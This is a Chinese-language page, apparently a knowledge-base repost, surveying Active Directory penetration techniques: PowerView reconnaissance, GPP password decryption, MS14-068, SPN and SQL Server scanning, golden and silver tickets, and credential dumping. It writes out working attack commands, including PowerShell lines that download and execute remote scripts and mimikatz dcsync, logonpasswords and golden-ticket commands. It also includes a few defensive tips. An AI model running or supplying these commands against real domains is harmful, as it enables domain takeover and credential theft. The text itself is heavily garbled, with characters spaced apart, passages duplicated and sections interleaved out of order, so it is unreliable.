搜索

[21468] 2020-12-02_内网渗透技术汇总

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-12-02_内网渗透技术汇总 内 网 渗 透 技 术 汇 总 转 载 ： 先 知 社 区   L e m o n S e c   2 0 2 0 - 1 2 - 0 2 信 息 收 集 信 息 收 集 网 上 各 种 前 期 信 息 收 集 的 文 章 各 种 网 上 各 种 前 期 信 息 收 集 的 文 章 各 种 n e t   v i e w 之 类 的 太 多 了 ， 一 般 想 知 道 哪 一 台 是 域 控 知 道 自 己 内 网 的 之 类 的 太 多 了 ， 一 般 想 知 道 哪 一 台 是 域 控 知 道 自 己 内 网 的 D N S 就 可 以 了 就 可 以 了 , 一 般 域 控 安 装 都 有 安 装 一 般 域 控 安 装 都 有 安 装 D N S 有 些 不 止 一 台 有 些 不 止 一 台 , 其 次 是 通 过 扫 其 次 是 通 过 扫 描 获 取 开 放 端 口 为 描 获 取 开 放 端 口 为 3 8 9 机 器 或 者 使 用 机 器 或 者 使 用 n l t e s t 命 令 查 看 。 最 后 就 是 各 种 命 令 查 看 。 最 后 就 是 各 种 n e t   v i e w 查 看 域 控 是 哪 台 主 机 。 查 看 域 控 是 哪 台 主 机 。 这 里 利 用 P o w e r T o o l s 中 的 P o w e r V i e w 信 息 收 集 其 实 很 多 功 能 都 是 n e t 命 令 这 里 只 是 以 P o w e r S h e l l 方 式 实 现 更 详 细 参 考 ：   获 取 域 方 法 获 取 域 方 法 S Y S V O L 是 指 存 储 域 公 共 文 件 服 务 器 副 本 的 共 享 文 件 夹 ， 它 们 在 域 中 所 有 的 域 控 制 器 之 间 复 制 。 S y s v o l 文 件 夹 是 安 装 A D 时 创 建 的 ， 它 用 来 存 放 G P O 、 S c r i p t 等 信 息 。 同 时 ， 存 放 在 S y s v o l 文 件 夹 中 的 信 息 ， 会 复 制 到 域 中 所 有 D C 上 。 使 用 G r o u p   P o l i c y   P r e f e r e n c e s 配 置 组 策 略 批 量 修 改 用 户 本 地 管 理 员 密 码 更 新 A d m i n i s t r a t o r 密 码 ： 域 服 务 器 一 般 都 会 共 享 这 个 文 件 夹 , 或 者 搜 索 当 前 机 器 下 的 X M L 文 件 将 包 含 凭 据 ： n l t e s t   / D C L I S T : p e n t e s t . c o m P o w e r s h e l l . e x e   - N o p   - N o n I   - E x e c   B y p a s s   " I E X   ( N e w . O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / c h e e t z / P o w e r T o o l s / m a s t e r / P o w e r V i e w / p o w e r v i e w . p s 1 ' ) ; G e t - H o s t I P " 域 渗 透 信 息 收 集 P o w e r T o o l s h t t p s : / / g i t h u b . c o m / c h e e t z / P o w e r T o o l s G e t - N e t D o m a i n                                       -       g e t s   t h e   n a m e   o f   t h e   c u r r e n t   u s e r ' s   d o m a i n G e t - N e t F o r e s t                                       -       g e t s   t h e   f o r e s t   a s s o c i a t e d   w i t h   t h e   c u r r e n t   u s e r ' s   d o m a i n G e t - N e t F o r e s t D o m a i n s                         -       g e t s   a l l   d o m a i n s   f o r   t h e   c u r r e n t   f o r e s t G e t - N e t D o m a i n C o n t r o l l e r s                 -       g e t s   t h e   d o m a i n   c o n t r o l l e r s   f o r   t h e   c u r r e n t   c o m p u t e r ' s   d o m a i n G e t - N e t C u r r e n t U s e r                             -       g e t s   t h e   c u r r e n t   [ d o m a i n ] u s e r n a m e G e t - N e t U s e r                                           -       r e t u r n s   a l l   u s e r   o b j e c t s ,   o r   t h e   u s e r   s p e c i f i e d   ( w i l d c a r d   s p e c i f i a b l e ) G e t - N e t U s e r S P N s                                   -       g e t s   a l l   u s e r   S e r v i c e P r i n c i p a l N a m e s G e t - N e t O U s                                             -       g e t s   d a t a   f o r   d o m a i n   o r g a n i z a t i o n   u n i t s G e t - N e t G U I D O U s                                     -       f i n d s   d o m a i n   O U s   l i n k e d   t o   a   s p e c i f i c   G U I D I n v o k e - N e t U s e r A d d                               -       a d d s   a   l o c a l   o r   d o m a i n   u s e r G e t - N e t G r o u p s                                       -       g e t s   a   l i s t   o f   a l l   c u r r e n t   g r o u p s   i n   t h e   d o m a i n G e t - N e t G r o u p                                         -       g e t s   d a t a   f o r   e a c h   u s e r   i n   a   s p e c i f i e d   d o m a i n   g r o u p G e t - N e t L o c a l G r o u p s                             -       g e t s   a   l i s t   o f   l o c a l g r o u p s   o n   a   r e m o t e   h o s t   o r   h o s t s G e t - N e t L o c a l G r o u p                               -       g e t s   t h e   m e m b e r s   o f   a   l o c a l g r o u p   o n   a   r e m o t e   h o s t   o r   h o s t s G e t - N e t L o c a l S e r v i c e s                         -       g e t s   a   l i s t   o f   r u n n i n g   s e r v i c e s / p a t h s   o n   a   r e m o t e   h o s t   o r   h o s t s I n v o k e - N e t G r o u p U s e r A d d                     -       a d d s   a   u s e r   t o   a   s p e c i f i e d   l o c a l   o r   d o m a i n   g r o u p G e t - N e t C o m p u t e r s                                 -       g e t s   a   l i s t   o f   a l l   c u r r e n t   s e r v e r s   i n   t h e   d o m a i n G e t - N e t F i l e S e r v e r s                             -       g e t   a   l i s t   o f   f i l e   s e r v e r s   u s e d   b y   c u r r e n t   d o m a i n   u s e r s G e t - N e t S h a r e                                         -       g e t s   s h a r e   i n f o r m a t i o n   f o r   a   s p e c i f i e d   s e r v e r G e t - N e t L o g g e d o n                                   -       g e t s   u s e r s   a c t i v e l y   l o g g e d   o n t o   a   s p e c i f i e d   s e r v e r G e t - N e t S e s s i o n s                                   -       g e t s   a c t i v e   s e s s i o n s   o n   a   s p e c i f i e d   s e r v e r G e t - N e t F i l e S e s s i o n s                           -       r e t u r n e d   c o m b i n e d   G e t - N e t S e s s i o n s   a n d   G e t - N e t F i l e s G e t - N e t C o n n e c t i o n s                             -       g e t s   a c t i v e   c o n n e c t i o n s   t o   a   s p e c i f i c   s e r v e r   r e s o u r c e   ( s h a r e ) G e t - N e t F i l e s                                         -       g e t s   o p e n   f i l e s   o n   a   s e r v e r G e t - N e t P r o c e s s e s                                 -       g e t s   t h e   r e m o t e   p r o c e s s e s   a n d   o w n e r s   o n   a   r e m o t e   s e r v e r 开 始 - > 管 理 工 具 - > 组 策 略 管 理 - > 在 这 个 域 中 创 建 G P O 设 置 - 右 键 - 编 辑 - 用 户 配 置 - 首 选 项 - 控 制 面 板 设 置 - 本 地 用 户 和 组 g r o u p s . x m l 、 s c h e d u l e d t a s k s . x m l 、 S e r v i c e s . x m l 、 d a t a s o u r c e s . x m l 。
由 于 经 过 身 份 验 证 的 用 户 （ 任 何 域 用 户 或 受 信 任 域 中 的 用 户 ） 具 有 对 S Y S V O L 的 读 取 权 限 经 过 A E S - 2 5 6 位 加 密 可 以 使 用 A E S 私 钥 解 密 G P P 密 码 微 软 在 M S D N 上 发 布 了 A E S 加 密 密 钥 （ 共 享 密 钥 ） 使 用 P o w e r S h e l l 脚 本 解 密 防 ： K e r b e r o s 是 西 方 神 话 中 守 卫 地 狱 之 门 的 三 头 犬 的 名 字 。 只 所 以 使 用 这 个 名 字 是 因 为 K e r b e r o s 需 要 三 方 的 共 同 参 与 ， 才 能 完 成 一 次 事 务 处 理 。 K e r b e r o s   是 W i n d o w s 活 动 目 录 中 使 用 的 客 户 / 服 务 器 认 证 协 议 ， 为 通 信 双 方 提 供 双 向 身 份 认 证 。 相 互 认 证 或 请 求 服 务 的 实 体 被 称 为 委 托 人 （ p r i n c i p a l ） 。 参 与 的 中 央 服 务 器 被 称 为 密 钥 分 发 中 心 （ 简 称 K D C ） 。 K D C 有 两 个 服 务 组 成 ： 身 份 验 证 服 务 （ A u t h e n t i c a t i o n   S e r v e r ， 简 称 A S ） 和 票 据 授 予 服 务 （ T i c k e t   G r a n t i n g   S e r v e r ， 简 称 T G S ） 。 在 W i n d o w s 域 环 境 下 ， 身 份 验 证 服 务 和 票 据 授 予 服 务 可 同 时 运 行 在 任 何 可 写 域 控 服 务 器 上 。 更 多 阅 读 : 最 根 本 的 问 题 在 于 权 限 属 性 证 书 可 以 被 伪 造 , 权 限 属 性 证 书 中 存 储 帐 号 用 户 名 、 I D 、 组 成 员 等 信 息 , 掌 握 域 用 户 一 些 基 本 信 息 就 可 以 获 取 域 管 理 员 权 限 攻 击 者 可 以 有 效 地 重 写 有 效 的 K e r b e r o s   T G T 身 份 验 证 票 据 ， 使 其 成 为 域 管 理 员 （ 和 企 业 管 理 员 ） g r o u p s . x m l 、 s c h e d u l e d t a s k s . x m l 、 S e r v i c e s . x m l 、 d a t a s o u r c e s . x m l 。 映 射 驱 动 （ D r i v e s . x m l ） 数 据 源 （ D a t a S o u r c e s . x m l ） 打 印 机 配 置 （ P r i n t e r s . x m l ） 创 建 / 更 新 服 务 （ S e r v i c e s . x m l ） 计 划 任 务 （ S c h e d u l e d T a s k s . x m l ） 1 9 2 . 1 6 8 . 5 0 . 2 0 5 s y s v o l p e n t e s t . c o m P o l i c i e s { 8 4 0 1 7 B 6 4 - 2 6 6 2 - 4 B A 3 - A 0 6 C - F B 9 5 3 C C B E 9 2 D } U s e r P r e f e r e n c e s G r o u p s . x m l c p a s s w o r d = " f U C M H A w 9 I 2 P d Y R Z E B M S 5 4 I v t P H X 3 n i 4 4 q R k W t f B t x o A " h t t p s : / / m s d n . m i c r o s o f t . c o m / e n - u s / l i b r a r y / 2 c 1 5 c b f 0 - f 0 8 6 - 4 c 7 4 - 8 b 7 0 - 1 f 2 f a 4 5 d d 4 b e . a s p x h t t p s : / / g i t h u b . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / b l o b / m a s t e r / E x f i l t r a t i o n / G e t - G P P P a s s w o r d . p s 1 寻 找 S Y S V O L 里 的 密 码 和 攻 击 G P P （ 组 策 略 偏 好 ） h t t p s : / / w w w . f r e e b u f . c o m / v u l s / 9 2 0 1 6 . h t m l W i n d o w s   S e r v e r   2 0 0 8   R 2 之 四 管 理 S y s v o l 文 件 夹 h t t p : / / b l o g . 5 1 c t o . c o m / y c r s j x y / 2 0 3 0 9 5 S Y S V O L 中 查 找 密 码 并 利 用 组 策 略 首 选 项 h t t p s : / / a d s e c u r i t y . o r g / ? p = 2 2 8 8 利 用 S Y S V O L 还 原 组 策 略 中 保 存 的 密 h t t p s : / / x i a n z h i . a l i y u n . c o m / f o r u m / t o p i c / 1 6 5 3 / ? a c c o u n t t r a c e i d = c 4 c 9 a 7 6 8 - 4 a 9 f - 4 2 f 8 - b 1 e 1 - f 8 7 0 7 5 7 4 e e b 9 在 用 于 管 理 G P O 的 计 算 机 上 安 装 K B 2 9 6 2 4 8 6 , 以 防 止 将 新 凭 据 置 于 组 策 略 首 选 项 中 。 设 置 E v e r y o n e 访 问 权 限 不 在 组 策 略 中 使 用 域 控 密 码 设 置 共 享 文 件 夹 S Y S V O L 的 访 问 权 限 删 除 现 有 的 G P P 里 包 含 密 码 的 x m l 文 件 。 K e r b e r o s 协 议 的 滥 用 h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / s y s t e m / 4 5 6 3 1 . h t m l K e r b e r o s 的 工 作 原 理 h t t p : / / a d s e c u r i t y . o r g / ? p = 2 2 7 h t t p s : / / g i t h u b . c o m / b i d o r d / p y k e k / a r c h i v e / m a s t e r . z i p h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / r e l e a s e s / a p t - g e t   i n s t a l l   k r b 5 - u s e r
M S 1 4 - 0 6 8 过 程 ： 产 生 缓 存 的 票 据 , 在 当 前 K a l i 下 生 成 之 后 再 放 到 域 用 户 机 器 中 利 用 m i m i k a t z 工 具 将 得 到 的 T G T _ d o m a i n u s e r @ S E R V E R . C O M . c c a c h e 写 入 内 存 ， 创 建 缓 存 证 书 ： k l i s t   查 看 d i r   k : 相 关 资 料 : 防 ： 安 装 检 查 K B 3 0 1 1 7 8 0 的 安 装 S P N 扫 描 扫 描 K e r b e r o a s t 可 以 作 为 一 个 有 效 的 方 法 从 A c t i v e   D i r e c t o r y 中 以 普 通 用 户 的 身 份 提 取 服 务 帐 户 凭 据 ， 无 需 向 目 标 系 统 发 送 任 何 数 据 包 S P N   是 服 务 在 使 用   K e r b e r o s   身 份 验 证 的 网 络 上 的 唯 一 标 识 符 。 它 由 服 务 类 、 主 机 名 和 端 口 组 成 。 在 使 用   K e r b e r o s   身 份 验 证 的 网 络 中 ， 必 须 在 内 置 计 算 机 帐 户 （ 如   N e t w o r k S e r v i c e   或 L o c a l S y s t e m ） 或 用 户 帐 户 下 为 服 务 器 注 册   S P N 。 对 于 内 置 帐 户 ， S P N   将 自 动 进 行 注 册 。 但 是 ， 如 果 在 域 用 户 帐 户 下 运 行 服 务 ， 则 必 须 为 要 使 用 的 帐 户 手 动 注 册   S P N 。 S P N 扫 描 的 主 要 好 处 是 ， S P N 扫 描 不 需 要 连 接 到 网 络 上 的 每 个 I P 来 检 查 服 务 端 口 , S P N 通 过 L D A P 查 询 向 域 控 执 行 服 务 发 现 ， s p n 查 询 是 k e r b e r o s 票 据 行 为 一 部 分 , 因 此 比 较 难 检 测 S P N 扫 描 。 a p t - g e t   i n s t a l l   r d a t e 请 求 没 有 P A C 的 K e r b e r o s   T G T 认 证 票 据 作 为 标 准 用 户 ， D C 回 复 T G T 生 成 一 个 伪 造 的 P A C ， 没 有 密 钥 ， 所 以 生 成 的 P A C 使 用 域 用 户 的 密 码 数 据 用 M D 5 算 法 而 不 是 H M A C _ M D 5 “ 签 名 ” 。 作 为 T G S 服 务 票 据 请 求 的 一 部 分 ， 使 用 伪 造 的 P A C 作 为 授 权 数 据 发 送 无 P A C 的 T G T 到 D C 。 D C 似 乎 被 这 个 混 淆 了 ， 所 以 它 放 弃 了 用 户 发 送 的 不 含 P A C 的 T G T ， 创 建 一 个 新 的 T G T ， 并 将 伪 造 的 P A C 插 入 到 它 自 己 的 授 权 数 据 中 ， 并 将 这 个 T G T 发 送 给 用 户 。 这 个 伪 造 P A C 的 T G T 使 得 用 户 可 以 成 为 易 受 攻 击 的 D C 上 的 域 管 理 员 。 w h o a m i   / u s e r p y t h o n   m s 1 4 - 0 6 8 . p y   - u   域 用 户 @ 域 名   - p   密 码   - s   用 户 S I D   - d   域 主 机 m i m i k a t z . e x e   " k e r b e r o s : : p t c   c : T G T _ d a r t h s i d i o u s @ p e n t e s t . c o m . c c a c h e "   e x i t n e t   u s e   k :   p e n t e s t . c o m c $ K e r b e r o s 工 具 包 P y K E K h t t p : / / a d s e c u r i t y . o r g / ? p = 6 7 6 深 入 解 读 M S 1 4 - 0 6 8 漏 洞 h t t p : / / w w w . f r e e b u f . c o m / v u l s / 5 6 0 8 1 . h t m l K e r b e r o s 安 全 漏 洞 h t t p : / / a d s e c u r i t y . o r g / ? p = 5 4 1 p o w e r s h e l l   - e x e c   b y p a s s   - C o m m a n d   " I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / P y r o T e k 3 / P o w e r S h e l l - A D - R e c o n / m a s t e r / D i s c o v e r - P S M S S Q L S e r v e r s ' ) ;   D i s c o v e r - P S M S S Q L S e r v e r s " 扫 描 S Q L   S e r v e r 脚 本 ： h t t p s : / / g i t h u b . c o m / n u l l b i n d / P o w e r s h e l l e r y / t r e e / m a s t e r / S t a b l e - i s h / M S S Q L I m p o r t - M o d u l e   . G e t - S Q L S e r v e r A c c e s s . p s m 1 P S   C : G e t - S q l S e r v e r - E s c a l a t e - C h e c k A c c e s s   [ * ]   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   [ * ]   S t a r t   T i m e :   0 4 / 0 1 / 2 0 1 4   1 0 : 0 0 : 0 0   [ * ]   D o m a i n :   m y d o m a i n . c o m   [ * ]   D C :   d c 1 . m y d o m a i n . c o m   [ * ]   G e t t i n g   l i s t   o f   S Q L   S e r v e r   i n s t a n c e s   f r o m   D C   a s   m y d o m a i n m y u s e r . . .   [ * ]   5   S Q L   S e r v e r   i n s t a n c e s   f o u n d   i n   L D A P .   [ * ]   A t t e m p t i n g   t o   l o g i n   i n t o   5   S Q L   S e r v e r   i n s t a n c e s   a s   m y d o m a i n m y u s e r . . .   [ * ]   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   [ - ]   F a i l e d       -   s e r v e r 1 . m y d o m a i n . c o m   i s   n o t   r e s p o n d i n g   t o   p i n g s   [ - ]   F a i l e d       -   s e r v e r 2 . m y d o m a i n . c o m   ( 1 9 2 . 1 6 8 . 1 . 1 0 2 )   i s   u p ,   b u t   a u t h e n t i c a t i o n / q u e r y   f a i l e d   [ + ]   S U C C E S S !   -   s e r v e r 3 . m y d o m a i n . c o m , 1 4 3 3   ( 1 9 2 . 1 6 8 . 1 . 1 0 3 )   -   S y s a d m i n :   N o   -   S v c I s D A :   N o     [ + ]   S U C C E S S !   -   s e r v e r 3 . m y d o m a i n . c o m S Q L E X P R E S S   ( 1 9 2 . 1 6 8 . 1 . 1 0 3 )   -   S y s a d m i n :   N o   -   S v c I s D A :   N o   [ + ]   S U C C E S S !   -   s e r v e r 4 . m y d o m a i n . c o m A p p D a t a   ( 1 9 2 . 1 6 8 . 1 . 1 0 4 )   -   S y s a d m i n :   Y e s   -   S v c I s D A :   Y e s                            
通 过 L D A P 从 A D S 获 取 S Q L   S e r v e r 的 列 表 ， 然 后 试 图 用 当 前 域 用 户 登 陆 每 一 个 S Q L   S e r v e r 。 这 次 将 输 出 到 C S V 文 件 中 。 弱 口 令 猜 解 寻 找 敏 感 数 据 更 多 参 考 ： 相 关 资 料 ： K e r b e r o s 身 份 验 证 流 程 身 份 验 证 流 程 [ + ]   S U C C E S S !   -   s e r v e r 4 . m y d o m a i n . c o m A p p D a t a   ( 1 9 2 . 1 6 8 . 1 . 1 0 4 )   -   S y s a d m i n :   Y e s   -   S v c I s D A :   Y e s                             [ * ]   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   [ * ]   3   o f   5   S Q L   S e r v e r   i n s t a n c e s   c o u l d   b e   a c c e s s e d .                   [ * ]   E n d   T i m e :   0 4 / 0 1 / 2 0 1 4   1 0 : 0 2 : 0 0               [ * ]   T o t a l   T i m e :   0 0 : 0 2 : 0 0   [ * ]   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - P S   C : G e t - S Q L S e r v e r A c c e s s   - S h o w S u m   |   e x p o r t - c s v   c : t e m p s q l - s e r v e r - e x c e s s i v e - p r i v s . c s v [ * ]   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [ * ]   S t a r t   T i m e :   0 4 / 0 1 / 2 0 1 4   1 0 : 0 0 : 0 0 [ * ]   D o m a i n :   m y d o m a i n . c o m [ * ]   D C :   d c 1 . m y d o m a i n . c o m [ * ]   G e t t i n g   l i s t   o f   S Q L   S e r v e r   i n s t a n c e s   f r o m   D C   a s   m y d o m a i n m y u s e r . . . [ * ]   5   S Q L   S e r v e r   i n s t a n c e s   f o u n d   i n   L D A P . [ * ]   A t t e m p t i n g   t o   l o g i n   i n t o   5   S Q L   S e r v e r   i n s t a n c e s   a s   m y d o m a i n m y u s e r . . . [ * ]   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [ - ]   F a i l e d       -   s e r v e r 1 . m y d o m a i n . c o m   i s   n o t   r e s p o n d i n g   t o   p i n g s [ - ]   F a i l e d       -   s e r v e r 2 . m y d o m a i n . c o m   ( 1 9 2 . 1 6 8 . 1 . 1 0 2 )   i s   u p ,   b u t   a u t h e n t i c a t i o n / q u e r y   f a i l e d [ + ]   S U C C E S S !   -   s e r v e r 3 . m y d o m a i n . c o m , 1 4 3 3   ( 1 9 2 . 1 6 8 . 1 . 1 0 3 )   -   S y s a d m i n :   N o   -   S v c I s D A :   N o   [ + ]   S U C C E S S !   -   s e r v e r 3 . m y d o m a i n . c o m S Q L E X P R E S S   ( 1 9 2 . 1 6 8 . 1 . 1 0 3 )   -   S y s a d m i n :   N o   -   S v c I s D A :   N o [ + ]   S U C C E S S !   -   s e r v e r 4 . m y d o m a i n . c o m A p p D a t a   ( 1 9 2 . 1 6 8 . 1 . 1 0 4 )   -   S y s a d m i n :   Y e s   -   S v c I s D A :   Y e s                           [ * ]   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [ * ]   3   o f   5   S Q L   S e r v e r   i n s t a n c e s   c o u l d   b e   a c c e s s e d .                 [ * ]   E n d   T i m e :   0 4 / 0 1 / 2 0 1 4   1 0 : 0 2 : 0 0             [ * ]   T o t a l   T i m e :   0 0 : 0 2 : 0 0 [ * ]   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - G e t - S Q L S e r v e r A c c e s s   - s q l u s e r   s a   - s q l p a s s   1 2 3 q w e ! @ # G e t - S Q L S e r v e r A c c e s s   - q u e r y   " s e l e c t   n a m e   a s   ' D a t a b a s e s '   f r o m   m a s t e r . . s y s d a t a b a s e s   w h e r e   H A S _ D B A C C E S S ( n a m e )   =   1 " 非 扫 描 式 的 S Q L   S e r v e r 发 现 h t t p s : / / b l o g . n e t s p i . c o m / l o c a t e - a n d - a t t a c k - d o m a i n - s q l - s e r v e r s - w i t h o u t - s c a n n i n g S P N 扫 描 h t t p s : / / a d s e c u r i t y . o r g / ? p = 1 5 0 8 扫 描 S Q L S e r v e r 脚 本 h t t p s : / / g i t h u b . c o m / P y r o T e k 3 / P o w e r S h e l l - A D - R e c o n K e r b e r o s 黄 金 门 票 h t t p s : / / a d s e c u r i t y . o r g / ? p = 1 6 4 0 域 服 务 账 号 破 解 实 践 h t t p : / / b o b a o . 3 6 0 . c n / l e a r n i n g / d e t a i l / 3 5 6 4 . h t m l k e r b e r o s 认 证 原 理 h t t p : / / b l o g . c s d n . n e t / w u l a n t i a n / a r t i c l e / d e t a i l s / 4 2 4 1 8 2 3 1 深 刻 理 解 w i n d o w s 安 全 认 证 机 制 n t l m   &   K e r b e r o s h t t p s : / / k l i o n s e c . g i t h u b . i o / 2 0 1 6 / 0 8 / 1 0 / n t l m - k e r b e r o s / 密 码 转 换 为 N T L M 哈 希 值 ， 时 间 戳 使 用 散 列 加 密 ， 并 作 为 身 份 验 证 票 据 （ T G T ） 请 求 （ A S - R E Q ） 中 的 身 份 验 证 器 发 送 给 K D C 。 域 控 制 器 （ K D C ） 检 查 用 户 信 息 （ 登 录 限 制 ， 组 成 员 身 份 等 ） 并 创 建 票 证 授 予 票 证 （ T G T ） 。 T G T 被 加 密 ， 签 名 并 交 付 给 用 户 （ A S - R E P ） 。 只 有 域 中 的 K e r b e r o s 服 务 （ K R B T G T ） 才 能 打 开 并 读 取 T G T 数 据 。 用 户 在 申 请 票 证 授 予 服 务 （ T G S ） 票 证 （ T G S - R E Q ） 时 向 T G 提 交 T G T 。 D C 打 开 T G T 并 验 证 P A C 校 验 和   –   如 果 D C 可 以 打 开 票 证 和 校 验 和 签 出 ， 则 T G T   = 有 效 。 T G T 中 的 数 据 被 有 效 地 复 制 来 创 建 T G S 票 据 。 使 用 目 标 服 务 帐 户 的 N T L M 密 码 散 列 对 T G S 进 行 加 密 并 发 送 给 用 户 （ T G S - R E P ） 。
其 实 可 以 说 是 一 种 后 门 而 不 是 什 么 漏 洞 。 黄 金 票 据 是 伪 造 T G T , 可 以 获 取 任 何 K e r b e r o s 服 务 权 限 , 与 域 控 制 器 没 有 A S - R E Q 或 A S - R E P （ 步 骤 1 和 2 ） 通 信 。 由 于 黄 金 票 据 是 伪 造 的 T G T ， 它 作 为 T G S - R E Q 的 一 部 分 被 发 送 到 域 控 制 器 以 获 得 服 务 票 据 。 K e r b e r o s 黄 金 票 证 是 有 效 的 T G T   K e r b e r o s 票 证 ， 因 为 它 是 由 域 K e r b e r o s 帐 户 （ K R B T G T ） 加 密 / 签 名 的   。 T G T 仅 用 于 向 域 控 制 器 上 的 K D C 服 务 证 明 用 户 已 被 其 他 域 控 制 器 认 证 。 T G T 被 K R B T G T 密 码 散 列 加 密 并 且 可 以 被 域 中 的 任 何 K D C 服 务 解 密 的 事 实 证 明 它 是 有 效 的 利 用 条 件 ： 1 . 普 通 域 用 户 2 . k r b t g t   n t l m   h a s h 3 . 域 S I D 在 域 上 抓 取 h a s h K e r b e r o s 银 票 务 银 票 务 黄 金 票 据 和 白 银 票 据 的 一 些 区 别 : 加 密 方 式 不 同 : 认 证 流 程 不 同 : 域 上 获 取 信 息 首 先 需 要 获 得 如 下 信 息 : / d o m a i n / s i d / t a r g e t : 目 标 服 务 器 的 域 名 全 称 ， 此 处 为 域 控 的 全 称 / s e r v i c e : 目 标 服 务 器 上 面 的 k e r b e r o s 服 务 ， 此 处 为 c i f s / r c 4 : 计 算 机 账 户 的 N T L M   h a s h ， 域 控 主 机 的 计 算 机 账 户 / u s e r : 要 伪 造 的 用 户 名 ， 此 处 可 用 s i l v e r 测 试 使 用 目 标 服 务 帐 户 的 N T L M 密 码 散 列 对 T G S 进 行 加 密 并 发 送 给 用 户 （ T G S - R E P ） 。 用 户 在 适 当 的 端 口 上 连 接 到 托 管 服 务 的 服 务 器 并 呈 现 T G S （ A P - R E Q ） 。 该 服 务 使 用 其 N T L M 密 码 散 列 打 开 T G S 票 证 。 l s a d u m p : : d c s y n c   / d o m a i n : p e n t e s t . c o m   / u s e r : k r b t g t k e r b e r o s : : p u r g e k e r b e r o s : : g o l d e n   / a d m i n : a d m i n i s t r a t o r   / d o m a i n : 域   / s i d : S I D   / k r b t g t : h a s h 值   / t i c k e t : a d i n i s t r a t o r . k i r i b i k e r b e r o s : : p t t   a d m i n i s t r a t o r . k i r i b i k e r b e r o s : : t g t n e t   u s e   k :   p e n t e s t . c o m c $ 攻 击 者 如 何 使 用 K e r b e r o s 银 票 来 利 用 系 统 h t t p s : / / a d s e c u r i t y . o r g / ? p = 2 0 1 1 h t t p s : / / w w w . f e i w o r k s . c o m / w y / d r o p s / 域 渗 透 — — P a s s % 2 0 T h e % 2 0 T i c k e t . p d f G o l d e n   T i c k e t :   伪 造 T G T , 可 以 获 取 任 何 K e r b e r o s 服 务 权 限 S i l v e r   T i c k e t :   伪 造 T G S , 只 能 访 问 指 定 的 服 务 G o l d e n   T i c k e t   由 k r b t g t 的 h a s h 加 密 S i l v e r   T i c k e t   由 服 务 账 号 ( 通 常 为 计 算 机 账 户 ) H a s h 加 密 G o l d e n   T i c k e t 在 使 用 的 过 程 需 要 同 域 控 通 信 S i l v e r   T i c k e t 在 使 用 的 过 程 不 需 要 同 域 控 通 信 用 户 在 适 当 的 端 口 上 连 接 到 托 管 服 务 的 服 务 器 并 呈 现 T G S （ A P - R E Q ） 。 该 服 务 使 用 其 N T L M 密 码 散 列 打 开 T G S 票 证 。 与 域 控 制 器 没 有 A S - R E Q   /   A S - R E P （ 步 骤 1 和 2 ） ， 也 没 有 T G S - R E Q   /   T G S - R E P （ 步 骤 3 和 4 ） 通 信 。 由 于 银 票 是 伪 造 的 T G S ， 所 以 没 有 与 域 控 制 器 通 信 。 银 票 是 伪 造 的 K e r b e r o s 票 证 授 予 服 务 （ T G S ） 票 据 ， 也 称 为 服 务 票 据 。 m i m i k a t z   l o g   " s e k u r l s a : : l o g o n p a s s w o r d s " m i m i k a t z . e x e   " k e r b e r o s : : g o l d e n   / d o m a i n : 域   / s i d : S I D   / t a r g e t : 域 全 称   / s e r v i c e : 要 访 问 的 服 务   / r c 4 : N T L M   / u s e r : s i l v e r   / p t t "
就 可 以 访 问 域 的 c i f s 共 享 ， 访 问 其 它 是 不 行 的 , S i l v e r   T i c k e t 是 伪 造 的 T G S ， 也 就 是 说 其 范 围 有 限 ， 只 能 访 问 指 定 的 服 务 权 限 域 服 务 账 号 破 解 与 上 面 S P N 扫 描 类 似 的 原 理 获 取 所 有 用 作 S P N 的 帐 户 从 M i m i k a t z 的 r a m 中 提 取 获 得 的 门 票 用 r g s r e p c r a c k 破 解 没 复 现 成 功 凭 证 盗 窃 凭 证 盗 窃 最 常 用 的 手 法 域 管 理 登 录 历 史 记 录 , 记 得 获 取 某 边 界 权 限 一 个 然 后 抓 取 h a s h 并 没 有 域 管 理 的 , 可 能 是 搞 的 动 静 有 点 大 , 管 理 员 第 二 天 上 去 把 马 给 清 除 了 , 还 好 留 了 有 后 门 再 次 抓 取 h a s h 直 接 获 取 到 域 管 理 员 。 大 多 数 A c t i v e   D i r e c t o r y 管 理 员 使 用 用 户 帐 户 登 录 到 其 工 作 站 ， 然 后 使 用 R u n A s （ 将 其 管 理 凭 据 放 置 在 本 地 工 作 站 上 ） 或 R D P 连 接 到 服 务 器 运 行 M i m i k a t z   读 取 密 码 ， 收 集 密 码 尝 试 登 录 管 理 员 机 器 一 般 只 要 域 管 理 员 登 录 过 的 机 器 抓 取 都 可 以 获 取 域 控 了 防 ： 管 理 员 不 应 该 拿 着 域 用 户 去 登 录 w e b 服 务 器 或 者 邮 件 服 务 器 一 但 这 些 被 攻 破 抓 取 的 密 码 就 是 域 了 A R P 最 后 才 是 A R P 欺 骗 不 到 最 后 不 要 拿 出 来 。 获 取 获 取 A D   H a s h 活 动 目 录 数 据 库 （ n t d s . d i t ） ： A c t i v e   D i r e c t o r y 域 数 据 库 存 